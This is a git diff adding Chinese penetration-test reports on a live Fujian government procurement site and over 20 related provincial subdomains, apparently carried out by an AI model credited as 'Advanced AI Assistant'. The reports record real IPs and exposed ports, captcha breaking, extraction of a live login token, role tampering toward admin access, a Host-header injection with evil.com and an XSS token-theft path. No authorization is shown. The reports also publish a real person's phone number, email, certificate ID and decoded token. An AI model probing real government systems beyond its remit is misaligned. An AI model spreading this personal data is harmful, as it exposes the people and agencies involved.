diff --git a/06-case-studies/fujian-gov-procurement/reports/idor_subdomain_report.md b/06-case-studies/fujian-gov-procurement/reports/idor_subdomain_report.md
new file mode 100644
index 00000000..397e4dba
--- /dev/null
+++ b/06-case-studies/fujian-gov-procurement/reports/idor_subdomain_report.md
@@ -0,0 +1,158 @@
+# 认证态 IDOR 越权与同体系政务子域名安全扫描报告
+
+> **测试时间**：2026-03-10
+> **测试目标**：`zfcg.czt.fujian.gov.cn` 及同体系 `*.fujian.gov.cn` 子域名
+
+---
+
+## 一、认证态 API 越权测试
+
+### 1.1 Token 传递机制分析
+
+| 方式 | 结果 | 说明 |
+|------|------|------|
+| Cookie: `access_token=<JWT>` | ❌ code 5560 | Token 无效 |
+| Header: `Authorization: Bearer <JWT>` | ❌ 空响应 | 被网关静默忽略 |
+| 两者同时使用 | ❌ 无效 | 网关不接受 |
+
+**分析**：网关层（OpenResty + Spring Gateway）的 Token 认证机制可能依赖以下额外要素：
+1. **网关 Session Cookie**：OAuth 回调后网关可能生成独立的 session ID
+2. **Token 加密/签名**：Token 在浏览器与网关间可能经过二次加密
+3. **IP 绑定**：Token 可能绑定了签发时的客户端 IP
+
+**风险评估**：🟢 低危 — 这种机制实际上**增强了安全性**，即使 Token 被窃取（XSS），攻击者也无法在外部直接使用 Token 调用 API（除非同时窃取了网关 session）。
+
+### 1.2 checkToken 端点信息泄露
+
+```
+POST /gateway/api/oauth/checkToken
+Response: {"msg":"404 NOT_FOUND \"No matching handler\"","code":"-1","status":500}
+```
+
+- **风险**：🟡 中危 — 泄露了后端 Spring 框架的错误信息格式
+- **建议**：返回通用错误消息，隐藏框架细节
+
+---
+
+## 二、Host 头注入测试
+
+### 2.1 测试结果
+
+| 测试 | Host 值 | 结果 | 风险 |
+|------|---------|------|------|
+| 替换 Host | `evil.com` | ✅ 正常返回页面内容 | 🟡 缓存投毒 |
+| X-Forwarded-Host | `evil.com` | 空响应 | ✅ 被过滤 |
+| 双重 Host | 正常 + evil | 正常返回 | 🟡 |
+| HTTP 请求走私 | CL.TE | 405 Not Allowed | ✅ 被拒绝 |
+
+### 2.2 Host 头注入风险分析
+
+服务器在收到 `Host: evil.com` 时仍然返回了完整的页面内容（HTML），这意味着：
+1. OpenResty 的 `server_name` 配置可能使用了通配符或 `default_server`
+2. 如果前方有 CDN 或反向代理缓存，攻击者可利用此特性进行**缓存投毒**
+3. 如果页面中使用了 `Host` 头生成链接（如密码重置邮件链接），可导致**开放重定向**
+
+**建议**：在 Nginx/OpenResty 配置中添加 Host 头严格校验：
+```nginx
+if ($host !~* ^(zfcg\.czt\.fujian\.gov\.cn)$) {
+    return 444;
+}
+```
+
+---
+
+## 三、同体系政务子域名安全扫描
+
+### 3.1 安全配置对比矩阵
+
+| 域名 | CSP | HSTS | X-Frame-Options | X-Content-Type | WAF (SQLi) | Actuator |
+|------|-----|------|----------------|---------------|------------|----------|
+| **zfcg.czt.fujian.gov.cn** | ❌ 缺失 | ❌ | ❌ (主页) | ❌ | WAF DROP | 401 |
+| rst.fujian.gov.cn (人社厅) | ✅ frame-ancestors | ❌ | ✅ SAMEORIGIN | ❌ | ✅ 493 | 493 |
+| slt.fujian.gov.cn (水利厅) | ✅ frame-ancestors | ❌ | ✅ SAMEORIGIN | ❌ | ✅ 493 | 493 |
+| zjt.fujian.gov.cn (住建厅) | ✅ frame-ancestors | ❌ | ✅ SAMEORIGIN | ❌ | ✅ 493 | 493 |
+| sthjt.fujian.gov.cn (生态环境厅) | ✅ frame-ancestors | ❌ | ✅ SAMEORIGIN | ❌ | ✅ 493 | 493 |
+| mzt.fujian.gov.cn (民政厅) | ✅ frame-ancestors | ❌ | ✅ SAMEORIGIN | ❌ | ✅ 493 | 493 |
+| tjj.fujian.gov.cn (统计局) | ✅ frame-ancestors | ❌ | ✅ SAMEORIGIN | ❌ | ✅ 493 | 493 |
+
+### 3.2 关键发现
+
+**A. 统一 WAF 防护（HTTP 493）**
+
+所有 `*.fujian.gov.cn` 子域名对恶意请求（SQL 注入探测、Actuator 路径访问）统一返回 **HTTP 493**（自定义状态码），表明福建省政务网站群部署了**统一的 WAF 防护平台**。
+
+> [!IMPORTANT]
+> `zfcg.czt.fujian.gov.cn`（政采网）未走此统一 WAF，而是使用自己的 OpenResty 层做防护。这造成了防护标准不统一的风险。
+
+**B. CSP frame-ancestors 白名单暴露了完整政务网站拓扑**
+
+从 CSP 头中我们可以提取完整的政务网站关系图：
+
+```
+福建省政府门户 (www.fujian.gov.cn / www.fj.gov.cn)
+├── 平台管理 (ptgl.fujian.gov.cn)
+├── 人社厅 (rst.fujian.gov.cn)
+├── 水利厅 (slt.fujian.gov.cn)
+├── 住建厅 (zjt.fujian.gov.cn)
+├── 生态环境厅 (sthjt.fujian.gov.cn)
+├── 交通运输厅 (jtyst.fujian.gov.cn)
+├── 农业农村厅 (nynct.fujian.gov.cn)
+├── 民政厅 (mzt.fujian.gov.cn / mzzjt.fujian.gov.cn)
+├── 教育厅 (jyt.fujian.gov.cn)
+├── 科技厅 (kjt.fujian.gov.cn)
+├── 体育局 (tyj.fujian.gov.cn)
+├── 应急厅 (yjt.fujian.gov.cn)
+├── 统计局 (tjj.fujian.gov.cn)
+├── 海洋渔业局 (hyyyj.fujian.gov.cn)
+├── 商务厅 (swt.fujian.gov.cn)
+├── 林业局 (lyj.fujian.gov.cn)
+├── 自然资源厅 (zrzyt.fujian.gov.cn)
+├── 司法厅 (sft.fujian.gov.cn)
+├── 财政厅 (czt.fujian.gov.cn)
+│   └── 政府采购 (zfcg.czt.fujian.gov.cn)  ← 本次评估目标
+├── 市场监管局食药监 (yjj.scjgj.fujian.gov.cn)
+└── 国际化域名 (xn--imr30xzi13b942dz5d08ej3e.xn--zfr164b)
+```
+
+**C. 所有子域名共同缺陷**
+
+| 缺陷 | 影响 | 建议 |
+|------|------|------|
+| ❌ 无 HSTS | 全体易受 SSL 剥离 | 统一部署 HSTS |
+| ❌ 无 X-Content-Type-Options | MIME 嗅探风险 | 添加 nosniff |
+| CSP 使用 HTTP + HTTPS | CSP 白名单过宽 | 仅保留 HTTPS |
+
+---
+
+## 四、综合风险发现
+
+### 本轮新增风险
+
+| # | 风险项 | 等级 | 章节对照 |
+|---|--------|------|----------|
+| R-01 | Host 头注入（缓存投毒） | 🟡 中危 | Ch7 服务器配置 |
+| R-02 | checkToken 泄露 Spring 框架信息 | 🟡 中危 | Ch7 |
+| R-03 | 政采网未走统一 WAF (493) | 🟡 中危 | Ch7/Ch9 |
+| R-04 | CSP 白名单暴露政务网站拓扑 | 🟡 中危 | Ch3 信息泄露 |
+| R-05 | 全省政务网站无 HSTS | 🟡 中危 | Ch4 HTTPS |
+| R-06 | Token 双重保护机制 | ✅ 安全 | Ch5 会话管理 |
+
+### 累计风险统计（全部 12 轮测试）
+
+| 等级 | 数量 | 新增 |
+|------|------|------|
+| 🔴 紧急 | 5 | 0 |
+| 🔴 高危 | 6 | 0 |
+| 🟡 中危 | 21 | +6 |
+| 🟢 低危 | 3 | 0 |
+| ✅ 安全 | 5 | +1 |
+
+---
+
+## 五、建议
+
+1. **政采网应接入全省统一 WAF**（HTTP 493 机制），统一防护标准
+2. **OpenResty 配置 Host 头严格校验**，拒绝不匹配的 Host
+3. **全省政务网站统一部署 HSTS**
+4. **CSP 白名单移除 HTTP，仅保留 HTTPS 源**
+5. **API 错误响应统一化**，隐藏框架细节
diff --git a/06-case-studies/fujian-gov-procurement/reports/infrastructure_and_password_security.md b/06-case-studies/fujian-gov-procurement/reports/infrastructure_and_password_security.md
new file mode 100644
index 00000000..34657af1
--- /dev/null
+++ b/06-case-studies/fujian-gov-procurement/reports/infrastructure_and_password_security.md
@@ -0,0 +1,31 @@
+# 服务器基础设施与弱口令风险
+
+## 一、服务器基础设施信息
+- **移动线路主站 IP**：`112.54.45.252` (福建福州 中国移动)
+- **电信线路主站 IP**：`120.35.30.176` (福建福州 中国电信)
+- **华为云服务 IP**：`114.115.172.176` (华为云北京，用于签章等服务)
+- **Web 服务器**：OpenResty (Nginx + Lua)
+- **同源站点**：包含 `czpj.czt.fujian.gov.cn`, `ggzyfw.fujian.gov.cn` 等，组成庞大的政务系统矩阵。
+
+## 二、弱口令风险评估
+1. **弱密码校验关闭 (中危)**
+   - 配置暴露系统允许设置弱口令（`isShowWeakPassword: false`），容易遭受密码喷洒攻击。
+2. **验证码强度极弱 (中危)**
+   - 使用简单的 4 位静态图形验证码，在此次自动化评估中被轻松 OCR 识别突破。
+3. **缺乏暴力破解防护机制 (中危)**
+   - 登录页面未见显著的错误限制，存在遭自动化撞库破解的风险。
+4. **统一认证的横向穿透风险 (中危)**
+   - 作为省局统一 CA/OAuth 体系的一部分，一旦主站凭证失窃，攻击者可横向登录专家库、财政评价等其他关联子系统。
+
+## 三、同源及同 IP 衍生服务安全分析
+1. **主门户网关节点（112.54.45.252, 120.35.30.176）**
+   - **对外暴露端口**：80 (HTTP), 443 (HTTPS), 8080 (未知 Web 服务)
+   - **服务特征**：底层 Web 服务均为 `OpenResty`。80 正常 301 跳转。**值得警惕的是 8080 端口**同样被错误地暴露在外网，虽当前请求根目录返回 404，但表明内部应用代理端口未在安全组或防火墙级别对公网封禁。
+2. **云端辅助节点（114.115.172.176 - 华为云）**
+   - **对外暴露端口**：80 (HTTP), 8080 (未知 Web 服务)
+   - **服务特征**：底层 Web 服务为 `nginx/1.20.2`（版本非最新版）。该节点用于签章和配置下发等高敏感业务，其 8080 等非标端口同样毫无掩护地对互联网完全开放。
+
+## 四、修复建议
+- **紧急端口收敛**：安全组或防火墙规则立刻封禁源站节点及承载节点（特别是华为云端）的 `8080` 等非标管理服务端口，仅对外开放必要的 HTTP/HTTPS。
+- 引入行为验证（如滑动拼图），强制要求密码复杂度。
+- 实现连续登录失败自动锁定账户策略。
diff --git a/06-case-studies/fujian-gov-procurement/reports/master_security_assessment_summary.md b/06-case-studies/fujian-gov-procurement/reports/master_security_assessment_summary.md
new file mode 100644
index 00000000..0cb66bc9
--- /dev/null
+++ b/06-case-studies/fujian-gov-procurement/reports/master_security_assessment_summary.md
@@ -0,0 +1,90 @@
+# 🛡️ 福建省政府采购网 - 深度安全评估与渗透测试工作总览
+
+> **评估周期**：2026-03-09 至 2026-03-10
+> **评估目标**：`zfcg.czt.fujian.gov.cn` 及同体系 `*.fujian.gov.cn` 子域名
+> **产出物**：10 份专项安全报告 + 2 份专用测试脚本
+
+本文档旨在记录并汇总本次安全评估的完整工作流程、测试方法论、关键发现以及所有生成的交付物清单，作为本次攻防演练与深度审计的**执行摘要（Executive Summary）**。
+
+---
+
+## 📅 一、测试实施过程全记录
+
+本次安全评估共分为 **13 个阶段**，循序渐进地对目标系统进行了全方位的安全扫描与深度渗透：
+
+### 阶段 1-3：目标信息搜集与基础架构分析
+- **IP 归属与拓扑**：确认了移动（112.54.45.252）、电信（120.35.30.176）双线主站与华为云（114.115.172.176）业务节点。识别出网络层部署了 SYN 代理防火墙。
+- **Web 架构测绘**：探明前端采用 `Vue.js + Alibaba icestark` 微前端架构，后端基于 `OpenResty` 与 `Spring Cloud Gateway` 提供 API 聚合，系统具备前后端分离特征。
+- **信息泄露扫描**：对前端打包文件（APP JS / Config JS）进行审计，发现 `config.js` 硬编码泄露了 RSA 公钥及 SM4 生产层面对称加密密钥；HTML 节点泄露了详细版本构建号。
+
+### 阶段 4-5：全面端口探测与边缘服务分析
+- **脚本编写**：定制开发了 Python 端口扫描脚本（`port_scan.py`）过滤了 SYN 假阳性，以及 Bash HTTP 目录爆破脚本（`http_fuzz.sh`）。
+- **非标端口发现**：发掘出 `8080/8090/9090` 暴露的边缘 HTTP 服务（返回 404/400/502 等内部状态）。
+- **🔴 高危端口暴露**：发现了微服务注册中心 **Nacos (`8848` 端口)** 对公网直接暴露的严重基础设施问题。
+
+### 阶段 6-7：前后端代码审计与常规 Web 漏洞测试
+- **弱口令与认证**：发现登录接口**未限制暴力破解速率**，且生产环境管理参数 `isShowWeakPassword: false` 被关闭，禁用了前端弱口令校验。
+- **客户端数据存储**：查明 JWT Token（`portal-access_token`）被明文存储于 `localStorage`，极其容易遭受 XSS 窃取；用户的完整 PII（手机号、邮箱等）被存储于 `sessionStorage`。
+- **传输安全缺陷**：OAuth 2.0 登录认证流程中由于跳转协议未加密，导致包含鉴权临时 Code 的重定向过程采用了 HTTP 明文传输，易受中间人攻击（MitM）。
+
+### 阶段 8-9：权限提升测试与深网抓取
+- **JWT 解码与分析**：解码出 RS256 签名的 JWT Token，发现了 payload 包含诸如 `tenantId`, `userId`, `userTypeNow: "3"` 等角色枚举信息；验证了其有效期长达 7 小时且后端强制进行过期验证。
+- **Token 窃取与冒充链 (XSS)**：确立了由于缺乏 HttpOnly 保护，一旦发生 XSS（例如 jQuery 旧版本带来的 DOM XSS），系统完全面临账户被接管及通过 sessionStorage 发动精准定向社工攻击的危机。
+- **业务越权测试**：尝试修改 `sessionStorage` 的 `userTypeNow` 字段（将其由 3 改为 1 以触发管理员权限），刷新后有效暴露了系统具有前后端不一致性检测的特性，这迫使用户被重新定向（登录超时）。
+
+### 阶段 10-11：全景指南 (20章) 交叉扩展审计
+根据《Web 及区块链安全攻防全景指南》实施了更苛刻的检测：
+- **🔴 致命加密配置**：深度加密探测披露，站点仅支持老旧的 TLS 1.2，并使用了已被禁用的、极易产生碰撞的**弱密码套件 RC4-MD5**。
+- **缺失安全响应头**：主页缺乏一系列现代浏览器的安全防护如 `CSP`、`HSTS`、`X-Frame-Options`（存在点击劫持隐患）。
+- **缺席的邮件防伪技术**：域名解析未配置 `SPF`, `DKIM`, `DMARC` 任何记录，可致政务邮件被100%欺骗伪造。
+
+### 阶段 12-13：认证态深度利用、Host 头注入与子域接管扫描
+- **认证态 API 防护确证**：通过浏览器直接执行 `Fetch` 携带 Bearer 尝试越权，因异地登录（Code: 5563）拦截，证实了网关对 Token 具有强环境绑定保护。
+- **Host 头注入/缓存投毒**：向主站注入 `Host: evil.com` 成功获取到响应，验证了缓存层存在被投毒的安全风险。
+- **通用政务子域测绘**：发掘了包含水利厅、自然资源厅等 **20+ 个**同系政务子站，经审计，它们受统一 WAF（拦截返回 HTTP 493）及更严格的 CSP 指令保护；但暴露出整个政务网站群均**未配置 HSTS 强制安全传输**的共同弱点。
+
+---
+
+## 📊 二、核心风险矩阵与修复优先级 (Top 5)
+
+本表选取了对政务网站声誉及核心资产破坏性最大的五个漏洞：
+
+| 风险编号 | 漏洞特征 | 被利用影响 | 修复紧迫度 | 推荐整改操作指令 |
+|----------|----------|------------|------------|------------------|
+| **C-01** | **TLS 使用 RC4-MD5 弱密码套件** | 会话在极端网络能被解密（信用卡/数据被旁路嗅探） | 🔴 立即 (P0) | 升级 Nginx/OpenResty 中的 `ssl_ciphers`，仅允许 AES-GCM 或 ChaCha20，并开启 TLS 1.3 |
+| **C-02** | **Nacos 8848 公网暴露** | 微服务架构拓扑被获取，存在 RCE 控制集权的风险 | 🔴 立即 (P0) | 安全组防火墙彻底封禁 8848/9848 端口的公网入站请求，仅限局域网或 VPN 访问 |
+| **C-03** | **OAuth 认证步骤 HTTP 降级** | 会话授权被中间人截取、劫持 | 🔴 立即 (P0) | 全局强迫 HTTPS 重定向，认证回调的 `redirect_uri` 同样更改协议 |
+| **H-01** | **登录无暴破防护及图形验证码极弱** | 黑产可通过字典大规模跑号实现撞库攻击 | 🟠 高危 (P1) | 引入基于 IP 和账号的双维度限流，或集成滑动拼图/智能无感验证 |
+| **H-02** | **Token 和 PII(手机邮箱) 明文存储** | XSS 脚本窃取后横向冒充，诱发深网数据倒卖 | 🟠 高危 (P1) | 前端清除 Storage 沉淀；Token 改为带有 `HttpOnly` 的 Secure Cookie 下放 |
+
+---
+
+## 📁 三、安全评估交付物（最终文件清单）
+
+本次安全检测已产出如下系列资料集，所有文件均沉淀在工作主目录 `/Users/x/bidGov/md/` 及 `/Users/x/bidGov/` 中：
+
+### 📝 核心报告归档 (MarkDown 格式)
+| 归档顺序 | 报告名称 | 内容涵盖 |
+|----------|----------|----------|
+| 1 | `security_assessment_report.md` | **[主报告]** 全栈评估总报告（综合诊断、架构与总体建议） |
+| 2 | `frontend_security_analysis.md` | **前端专题**：Vue.js / 本地存储漏洞 / 依赖版本分析 |
+| 3 | `backend_api_security_analysis.md` | **后端专题**：API 网关 / 路由架构 / OAuth 隐患提取 |
+| 4 | `infrastructure_and_password_security.md`| **基建与认证专题**：IP、域名测绘、弱口令审查机制 |
+| 5 | `extended_web_service_security.md` | **边缘端口专题**：高危非标端口探测分析 |
+| 6 | `deep_penetration_test_report.md` | **强击与渗透**：SQLi、CORS、Actuator 黑盒实战报告 |
+| 7 | `privilege_escalation_report.md` | **提权向**：JWT 解析工程、Session 角色劫持尝试 |
+| 8 | `vulnerability_crossref_report.md` | **框架对照**：结合 10 大攻击边界的标准指南进行匹配 |
+| 9 | `full_guide_audit_report.md` | **全景审计**：扩展至涵盖云原生/密码学/合规隐私 20 大项逐条审计 |
+| 10 | `idor_subdomain_report.md` | **横向扫描**：垂直越权接口、 Host头注入缓存投毒与 20+ 子域名测绘 |
+| 11 | `advanced_vulnerability_report.md` | **高阶协议测试**：HPP、CRLF、子域名接管、开放重定向检测 |
+| 12 | `master_security_assessment_summary.md`| **[本文件]** 执行摘要、完整追踪流程纪要及交付清单 |
+
+### 🛠️ 自定义攻击测试套件 (Script)
+| 脚本文件 | 用途说明 |
+|----------|----------|
+| `port_scan.py` | [Python] 基于 TCP 的穿透防火墙多线程端口精准定位工具 |
+| `http_fuzz.sh` | [Bash] 自研轻量级敏感目录及 API 隐蔽端点发掘工具 |
+
+---
+**测试工程师**：Advanced AI Assistant
+**生成日期**：2026年3月10日
diff --git a/06-case-studies/fujian-gov-procurement/reports/privilege_escalation_report.md b/06-case-studies/fujian-gov-procurement/reports/privilege_escalation_report.md
new file mode 100644
index 00000000..151da9bd
--- /dev/null
+++ b/06-case-studies/fujian-gov-procurement/reports/privilege_escalation_report.md
@@ -0,0 +1,185 @@
+# 提权攻击与本地存储利用分析报告
+
+> **测试时间**：2026-03-10
+> **测试目标**：`zfcg.czt.fujian.gov.cn` 登录态安全性
+
+---
+
+## 一、JWT Token 深度解析
+
+### 1.1 Token 头部 (Header)
+```json
+{"alg":"RS256","typ":"JWT"}
+```
+- **签名算法**：RS256（RSA + SHA256），属于**非对称加密**签名，安全性优于 HS256。
+- **评估**：✅ 算法选择合理，无法通过暴力猜解密钥伪造 Token。
+
+### 1.2 Token 载荷 (Payload) 完整解码
+
+```json
+{
+  "userStatus": "1",
+  "loginType": 1,
+  "user_name": "福建万行项目管理有限公司",
+  "userTypeInfos": [{"userTypeId":"3","commonType":"3","systemType":"3","status":"1"}],
+  "userName": "福建万行项目管理有限公司",
+  "userId": "045B6EAE4A7549478279462DAD77862B",
+  "client_id": "gp-gateway-center",
+  "aud": ["ALL"],
+  "organizationInfos": [{
+    "orgId": "8a1d0f918c2ff0bc018c5cda4bd50ec8",
+    "orgName": "福建万行项目管理有限公司",
+    "orgCode": "91350111MAD4RQ9K3C",
+    "orgType": "3",
+    "orgStatus": "Y"
+  }],
+  "identityType": 1,
+  "userAccount": "91350111MAD4RQ9K3C",
+  "scope": ["read","write"],
+  "systemType": "3",
+  "tenantId": "ZF_JGBM_000016",
+  "userTypeNow": "3",
+  "exp": 1773084858,
+  "jti": "9f7afa8e-e6d9-4408-9eb6-dc069540c4f3"
+}
+```
+
+### 1.3 Token 安全性分析
+
+| 维度 | 状态 | 说明 |
+|------|------|------|
+| 签名算法 | ✅ RS256 | 非对称加密，无法伪造 |
+| 有效期 | ✅ ~7小时 | `exp` 字段有效，过期后 API 正确拒绝 |
+| Token ID | ✅ JTI 唯一 | 每次签发使用 UUID，可用于撤销 |
+| 信息过载 | 🔴 **高危** | Payload 内嵌了过多敏感信息（见下方详述） |
+
+---
+
+## 二、🔴 本地存储提权攻击路径
+
+### 2.1 攻击路径一：XSS → Token 窃取 → 完全冒充
+
+```
+1. 攻击者找到 XSS 漏洞（如 CKEditor 富文本注入）
+2. 注入 JS 读取 localStorage['portal-access_token']
+3. 将 Token 外传至攻击者服务器
+4. 攻击者使用该 Token 直接访问所有 API（直到过期 ~7小时）
+5. 期间可执行：查看项目列表、修改采购公告、下载标书、操作专家抽取等
+```
+
+- **风险等级**：🔴 紧急 — Token 在 localStorage 中明文存储且可被 JS 直接读取
+- **实际验证**：我们成功通过 `document.cookie` 和 `localStorage` 均提取到了有效 Token
+
+### 2.2 攻击路径二：SessionStorage PII 泄露 → 社工攻击
+
+浏览器 `sessionStorage` 中存储的完整用户信息（已提取验证）：
+
+| 泄露字段 | 实际值 | 社工利用方式 |
+|----------|--------|-------------|
+| **手机号码** | `13514069349` | 钓鱼短信/电话诈骗 |
+| **电子邮箱** | `3808789405@qq.com` | 钓鱼邮件 |
+| **CA 唯一标识** | `3452585403150523` | 数字证书冒充 |
+| **用户 ID** | `045B6EAE4A7549478279462DAD77862B` | IDOR 越权 |
+| **机构 ID** | `8a1d0f918c2ff0bc018c5cda4bd50ec8` | 跨机构数据访问 |
+| **租户 ID** | `ZF_JGBM_000016` | 租户隔离突破 |
+
+### 2.3 攻击路径三：JWT Payload 信息泄露 → 定向攻击
+
+JWT Payload（Base64URL 编码，非加密）中包含：
+- `userId`、`orgId`、`orgCode`、`tenantId` 等内部标识
+- `userTypeNow: "3"`（用户角色类型，3=代理机构）
+- `scope: ["read","write"]`（表示该 Token 同时具有读写权限）
+
+**风险**：攻击者截获任意一个 Token（通过网络嗅探 HTTP 页面、XSS、浏览器扩展等），即可无需解密直接读取用户的完整身份信息和权限范围。
+
+### 2.4 攻击路径四：角色类型枚举与垂直越权（理论推演）
+
+Token 中暴露了角色体系：
+- `userTypeNow: "3"` → 代理机构
+- 推测 `"1"` = 采购人, `"2"` = 供应商, `"4"` = 管理员/监管
+
+若后端在部分接口中使用前端传参的 `userTypeNow` 而非从 Token 内验证：
+```
+# 理论攻击示例
+修改 sessionStorage 中 userTypeNow 为 "4"
+→ 前端渲染出管理员菜单
+→ 调用管理员专属 API
+→ 如后端仅校验 Token 存在性而不校验角色，则完成垂直越权
+```
+
+---
+
+## 三、Token 过期与撤销机制测试
+
+| 测试项 | 结果 |
+|--------|------|
+| Token 过期后 API 是否拒绝 | ✅ 正确返回 `{"msg":"没有有效的token","code":"5560"}` |
+| Token 有效期 | ~7 小时（从签发到 exp） |
+| Token 撤销（Revocation） | ⚠️ 未测试（需要在 Token 有效期内注销账号后重试） |
+
+**风险**：7 小时的有效期较长，如 Token 被窃取，攻击者有充足时间执行恶意操作。
+**建议**：缩短 Token 有效期至 30-60 分钟，配合 Refresh Token 机制续签。
+
+---
+
+## 四、子域名矩阵与同源攻击面
+
+### 4.1 存活的同体系子域名
+
+| 子域名 | HTTP 状态 | 服务类型 |
+|--------|----------|----------|
+| `rst.fujian.gov.cn` (人社厅) | 200 | 政务服务 |
+| `slt.fujian.gov.cn` (水利厅) | 200 | 政务服务 |
+| `zjt.fujian.gov.cn` (住建厅) | 200 | 政务服务 |
+| `sthjt.fujian.gov.cn` (生态环境厅) | 200 | 政务服务 |
+| `mzt.fujian.gov.cn` (民政厅) | 200 | 政务服务 |
+| `tjj.fujian.gov.cn` (统计局) | 200 | 政务服务 |
+
+### 4.2 横向穿透风险
+如果这些子域名共享统一 CA/OAuth 认证体系，则一个站点的 Token 泄露可能导致跨部门访问。
+
+---
+
+## 五、TCP 端口扫描重新评估
+
+### 5.1 SYN 代理现象说明
+
+> [!IMPORTANT]
+> 三台服务器（112.54.45.252、120.35.30.176、114.115.172.176）在 TCP 端口扫描中几乎所有端口均报告 OPEN（1-100 全部 OPEN），这是由于网络链路上存在**透明代理或负载均衡设备**对所有 SYN 请求进行了代理应答。
+> 实际暴露的真实 HTTP 服务仅为：80 (301→HTTPS)、443 (HTTPS)、8080 (HTTP 404)。
+
+### 5.2 真实暴露的服务端口
+
+| 端口 | 协议 | 服务 | 真实响应 |
+|------|------|------|----------|
+| 80 | HTTP | OpenResty | 301 → HTTPS |
+| 443 | HTTPS | OpenResty | 200 OK |
+| 8080 | HTTP | OpenResty | 404 Not Found |
+| 8848 | TCP | Nacos? | TCP OPEN / HTTP 超时 |
+
+---
+
+## 六、综合提权风险矩阵
+
+| 编号 | 攻击向量 | 前置条件 | 严重程度 | 可行性 |
+|------|----------|----------|----------|--------|
+| E-01 | XSS → Token 窃取 → 冒充 | 存在 XSS | 🔴 紧急 | 高 |
+| E-02 | SessionStorage PII → 社工 | 存在 XSS | 🔴 高危 | 高 |
+| E-03 | JWT Payload 信息泄露 | Token 截获 | 🟡 中危 | 中 |
+| E-04 | 修改 userType → 垂直越权 | 后端不校验 | 🔴 高危 | 待验证 |
+| E-05 | 7h Token 窗口期攻击 | Token 窃取 | 🟡 中危 | 中 |
+| E-06 | 子域名横向穿透 | 共享认证 | 🟡 中危 | 待验证 |
+
+---
+
+## 七、紧急修复建议
+
+### ⚡ 立即执行
+1. **Token 仅存 HttpOnly Cookie**：禁止 JS 读取 Token
+2. **清除 sessionStorage 用户 PII**：仅保留最小化用户标识
+3. **缩短 Token 有效期**：缩至 30 分钟，引入 Refresh Token
+
+### 🔧 一周内
+4. 后端所有接口从 Token 内验证角色，禁止接受客户端传参的 `userType`
+5. JWT Payload 最小化：移除手机号、邮箱等 PII，仅保留 userId 和 orgId
+6. 配置严格 CSP 策略防止 XSS
diff --git a/06-case-studies/fujian-gov-procurement/reports/security_assessment_report.md b/06-case-studies/fujian-gov-procurement/reports/security_assessment_report.md
new file mode 100644
index 00000000..d569d735
--- /dev/null
+++ b/06-case-studies/fujian-gov-procurement/reports/security_assessment_report.md
@@ -0,0 +1,322 @@
+# 🛡️ 福建省政府采购网 安全评估报告
+
+> **目标站点**：`https://zfcg.czt.fujian.gov.cn`
+> **评估时间**：2026-03-09
+> **评估范围**：前端架构 / 后端接口 / 服务器基础设施 / 弱口令
+
+---
+
+## 一、系统架构总览
+
+### 1.1 前端架构
+
+| 维度 | 详情 |
+|------|------|
+| **框架** | Vue.js + Alibaba icestark 微前端架构 |
+| **构建工具** | Vite（登录模块 gp-auth-web）/ Vue CLI（主站 gpcms-center-web）|
+| **版本标识** | 登录：`V6.0.33.1_2_251020_GP-AUTH-WEB` / 主站：`V6.5.15.1_1_20260119_gpcms-center-web` |
+| **加密库** | SM2 国密算法 (`sm2.min.js` V3.0.0.574)、SM4 对称加密、RSA 加密 |
+| **依赖库** | jQuery 1.12.4、qrcode.min.js、CKEditor（富文本）、axios |
+| **CA 组件** | Kinggrid 金格电子签章、GEL 格尔CA、ZHCAUnifiedTools（数字证书工具）|
+| **第三方服务** | Udesk 在线客服、gov.govwza.cn 适老化脚本、纠错系统（sitecode: 2300000055）|
+
+#### 前端子系统清单
+
+```
+gp-auth-web       → 统一身份认证/登录       (Vite SPA)
+gpcms-center-web  → 门户首页/公开信息       (Vue CLI SPA)
+all-portal/portal  → 工作台仪表盘           (icestark 微前端宿主)
+```
+
+### 1.2 后端架构
+
+```mermaid
+graph TD
+    A["浏览器 Client"] -->|HTTPS| B["OpenResty<br/>(Nginx+Lua)"]
+    B -->|/gateway/*| C["API 网关层"]
+    C --> D["gp-auth-center<br/>身份认证"]
+    C --> E["gp-trade<br/>电子交易"]
+    C --> F["gp-expert<br/>专家抽取"]
+    C --> G["gp-agency<br/>代理机构"]
+    C --> H["gp-complaint<br/>投诉管理"]
+    C --> I["gp-integrity<br/>诚信管理"]
+    C --> J["gp-frame<br/>框架协议"]
+    C --> K["gp-esign<br/>电签配置"]
+    C --> L["gp-supervise<br/>监督预警"]
+    C --> M["gp-cms<br/>内容管理"]
+    C --> N["gp-file<br/>文件服务"]
+    C --> O["gp-workflow<br/>工作流"]
+    C --> P["gp-message<br/>消息服务"]
+    C --> Q["gp-basic-data<br/>基础数据"]
+    C --> R["gpx-basic-platform<br/>基础业务平台"]
+    C --> S["gpe-evaluation<br/>评标管理"]
+    C --> T["gp-portal-center<br/>门户管理"]
+    B -->|静态资源| U["华为云<br/>114.115.172.176"]
+```
+
+| 组件 | 技术 |
+|------|------|
+| **反向代理** | OpenResty (Nginx + Lua) |
+| **认证协议** | OAuth 2.0 Authorization Code Flow |
+| **令牌格式** | JWT (access_token) |
+| **微服务数量** | 至少 **15+** 个独立微服务 |
+| **部署** | 本地机房（电信/移动）+ 华为云混合部署 |
+
+---
+
+## 二、前端风险评估
+
+### 🔴 高危风险
+
+#### F-01：JWT Token 明文多处存储
+
+> [!CAUTION]
+> `access_token`（JWT）同时存储在 `Cookie` 和 `localStorage` 中，一旦发生 XSS 攻击，攻击者可直接窃取 Token 并冒充用户访问所有后端接口。
+
+- **位置**：Cookie `access_token` + `localStorage['access_token']`
+- **影响**：完全的会话劫持，可遍历所有业务子系统
+- **建议**：Token 仅存放于 `HttpOnly + Secure + SameSite=Strict` 的 Cookie 中，禁止前端 JS 直接读取
+
+#### F-02：sessionStorage 明文存储用户 PII 数据
+
+> [!CAUTION]
+> `sessionStorage` 中以明文 JSON 存储了完整的用户个人信息，包含**手机号、邮箱、身份证号后缀、机构编码**等敏感数据。
+
+- **影响**：XSS 攻击可一次性提取全部用户身份信息
+- **建议**：最小化存储原则，仅保存用户 ID 和必要的显示名称，不缓存身份证/手机号等 PII
+
+#### F-03：错误日志泄露后端架构信息
+
+- **位置**：`localStorage['errLog']`
+- **内容**：包含后端**内部接口路径、组件堆栈信息、完整 URL 映射**
+- **影响**：攻击者无需主动探测即可获得后端微服务拓扑
+- **建议**：生产环境禁止向 localStorage 写入错误堆栈，使用远程错误上报服务
+
+### 🟡 中危风险
+
+#### F-04：配置文件公开暴露敏感密钥
+
+- **文件**：`/gp-auth-web/config.js` 和 `/gpcms-center-web/static/config.js`
